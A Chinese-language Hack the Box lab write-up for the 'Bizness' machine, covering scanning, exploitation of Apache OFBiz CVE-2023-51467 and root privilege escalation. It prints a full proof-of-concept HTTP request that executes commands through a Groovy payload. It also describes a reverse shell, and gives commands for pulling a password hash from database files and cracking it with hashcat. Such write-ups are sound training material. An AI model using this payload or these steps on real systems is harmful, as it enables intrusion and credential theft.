#简述
关于Hack the Box的Bizness机器渗透过程。
靶机:10.10.11.252
攻击机(Kali):10.10.14.39
#过程
1、连接OpenVPN后,使用nmap对靶机进行端口扫描:nmap -A 10.10.11.252
2、扫描得到的结果发现该靶机开启了** 22、80、443**端口,其中根据信息显示,该靶机运行这一个nginx的web服务器,同时并没有重定向到一个 https://bizness.htb/ 这个URL,于是在hosts文件中添加靶机IP指向域名 bizness.htb
(一开始思路放在22端口上,认为ssh弱口令爆破,无果...)
3、成功访问,但是点击测试完页面所有的功能点都无新发现。
4、用dirsearch进行目录扫描:python dirsearch -u https://bizness.htb/
发现路径 /control 响应码为200。
5、访问后显示一个报错页面
6、再访问 /control/login,有个登录框,弱口令无果,翻看页面源码也没什么收获
7、然后搜索了下OFBIZ,发现这个系统历史版本存在过漏洞,接着思路转向到使用Nday去打,右下角有Apache OFBiz版本号 18.12
8、继续搜索,许多漏洞库都记录这个版本的OFBiz存在RCE漏洞,
漏洞编号为 CVE-2023-51467,(还是挺新的
9、在网上找到该漏洞对应的POC:
POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: bizness.htb
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 55
groovyProgram=throw+new+Exception('id'.execute().text);
验证一下是否存在,成功复现:
10、或者在Github上找对应的EXP,也能成功复现,可进一步实行渗透
11、踩雷了一个地方,使用另一个项目的exp反弹shell一直失败,用图形化的那个EXP倒是能成功(nc和bash两个都试过)
12、kali监听5555端口,靶机成功反弹shell
交互式shell,能成功执行命令
13、在家目录可以找到用户flag
到这里开始就个人思路到瓶颈了,(大概知道要提权才能拿到root flag,但还没有学过Linux提权,这里开始就不得不去看一些wp或技术文档学习然后再复现了...
14、关于本地提权用到一款很强大的工具 PEASS-ng,其中 LinPEAS 是Linux的提权脚本。
在攻击机用python开启http服务,再用靶机执行wget命令下载 linpeas.sh 到本地
15、执行脚本:bash linpeas.sh
这个龟龟还挺可爱(: bushi
16、执行脚本后对靶机自身一顿扫...
17、扫描出来的信息量巨大...通过看别人的文章,发现这是一堆derby下的数据文件 (derby是一种小型的数据库)
18、切换至 ../seg0 目录,执行 string -f seg0/*.dat | grep -i 'password',匹配到一个admin用户的密码
19、得到一串hash字符串:$SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I
根据Chat-GPT的回答:
20、使用CyberChef 对后半段字符串进行解密成16进制的字符串
21、这段hash还是经过加盐(salt)的,所以用kali自带的 hashcat 对其进行爆破
hashcat -m 120 -a 0 123.txt /usr/share/wordlists/rockyou.txt
成功爆破出这段hash为 monkeybizness
22、su提权到root,使用上述密码成功提权
23、找到root的flag值,至此两个flag都被找到,靶机也成功得到最高权限。
24、艰难……